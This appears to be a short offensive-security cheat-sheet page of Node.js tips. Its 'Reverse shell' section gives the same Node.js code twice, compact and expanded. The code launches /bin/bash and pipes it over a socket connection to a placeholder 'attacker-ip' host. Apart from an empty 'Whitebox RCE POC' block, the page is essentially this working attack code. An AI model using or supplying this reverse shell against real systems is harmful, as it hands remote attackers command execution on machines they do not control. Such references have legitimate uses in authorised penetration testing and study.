Node JS Tips #
Whitebox RCE POC #
1 |
|
Reverse shell #
- Few lines
1 2 3 4
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attacker-ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
- Expanded:
1 2 3 4 5 6 7 8 9 10
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attacker-ip", function() { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); } );
Javascript Escaping1 #
Last update: May 17, 2021